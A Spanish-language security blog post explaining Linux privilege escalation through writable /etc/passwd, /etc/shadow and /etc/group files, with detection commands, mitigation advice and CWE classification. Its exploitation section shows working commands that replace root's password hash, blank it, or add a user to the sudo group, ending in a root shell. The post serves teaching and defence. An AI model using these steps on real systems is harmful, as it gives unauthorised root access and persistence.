cd ~/blog

~/vulns/writable-critical-files-privesc.md

Writable Critical Files Privesc

privesc 18-06-2026
privescLinuxpasswdshadow

~2 min de lectura


1. Descripción técnica del ataque

Esta técnica de escalada de privilegios abusa de permisos incorrectos sobre archivos críticos del sistema que definen usuarios, contraseñas y grupos. Cuando uno de estos ficheros es escribible por un usuario sin privilegios, este puede modificarlo para obtener acceso como root o como un usuario privilegiado. Los archivos más relevantes son:

  • /etc/passwd — define las cuentas del sistema. Históricamente podía contener el hash de la contraseña en el segundo campo (x indica que está en /etc/shadow). Si es escribible, se puede:
    • Reemplazar la x de root por un hash de contraseña conocido (generado con openssl passwd).
    • Añadir un nuevo usuario con UID 0.
  • /etc/shadow — contiene los hashes reales de las contraseñas. Si es escribible (o legible y se crackea), se puede sustituir el hash de root por uno propio o por una contraseña vacía. El grupo shadow otorga lectura sobre este archivo.
  • /etc/group — define los grupos. Si es escribible, un usuario puede auto-asignarse a grupos privilegiados como sudo, root o shadow.

2. Impacto de la vulnerabilidad

  • Escalada a root de forma directa y fiable.
  • Persistencia trivial (cuenta con UID 0 o contraseña conocida).
  • En el caso de /etc/group, acceso a grupos que habilitan otras vías (p. ej. sudo o lectura de /etc/shadow).

3. Historia y evolución

  • Es una clase de error de configuración tan antigua como el modelo de permisos de Unix.
  • Sigue siendo muy común en CTFs y en sistemas con permisos mal endurecidos (a menudo introducidos por scripts de despliegue descuidados).

4. Factores que la hacen posible

  1. Permisos de escritura para usuarios no privilegiados sobre /etc/passwd, /etc/shadow o /etc/group.
  2. Pertenencia a grupos como shadow (lectura de hashes) por una asignación incorrecta.
  3. Falta de controles de integridad sobre estos archivos.

5. Detección

ls -l /etc/passwd /etc/shadow /etc/group
id          # ¿pertenezco a grupos como shadow, sudo, adm...?
find / -writable -type f 2>/dev/null | grep -E '/etc/(passwd|shadow|group)'

Herramientas como LinPEAS señalan automáticamente estos archivos cuando son escribibles.

6. Mitigación

  1. Restaurar los permisos correctos: /etc/passwd y /etc/group deben ser 644 root:root; /etc/shadow debe ser 640 root:shadow (sin escritura para otros).
  2. Revisar las pertenencias a grupos sensibles (shadow, sudo, adm, disk).
  3. Auditar los scripts de despliegue que tocan estos ficheros.
  4. Usar herramientas de integridad (AIDE, auditd) para detectar cambios.

7. Ejemplo de explotación real

Caso /etc/passwd escribible: generamos un hash y reemplazamos el campo de contraseña de root:

 openssl passwd -1
Password: 1234
$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51

# en la víctima, editar /etc/passwd:
root:$1$pIbEKbAQ$hpMd40txGbBrL.iqh.6/51:0:0:root:/root:/bin/bash
$ su root      # contraseña: 1234

Caso /etc/group escribible: nos añadimos al grupo sudo:

lancer@lower:~$ echo 'sudo:x:27:lancer' > /etc/group
lancer@lower:~$ su lancer        # recargar grupos
lancer@lower:~$ id
uid=1000(lancer) ... grupos=1000,27(sudo)
lancer@lower:~$ sudo bash
root@lower:/home/lancer#

Caso /etc/shadow escribible (grupo shadow): sustituimos el hash de root por uno de contraseña vacía:

 openssl passwd -1          # con contraseña vacía
$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/

# en la víctima, editar /etc/shadow:
root:$1$3rtnhbQf$d6bF.2.8NcXKURXi.E8fg/:20134:0:99999:7:::
$ su root      # contraseña vacía

8. Clasificación

  • Tipo: Privilege Escalation / Incorrect Permission Assignment
  • CWE:
    • CWE-732 – Incorrect Permission Assignment for Critical Resource
    • CWE-276 – Incorrect Default Permissions

9. Resumen

Cuando /etc/passwd, /etc/shadow o /etc/group son escribibles por usuarios sin privilegios (o se pertenece al grupo shadow), se puede escalar a root insertando un hash conocido, añadiendo una cuenta UID 0 o auto-asignándose a grupos privilegiados. La defensa es restaurar permisos correctos y auditar pertenencias a grupos. Relacionado con LD_PRELOAD Pivesc y otras escaladas locales.

// relacionados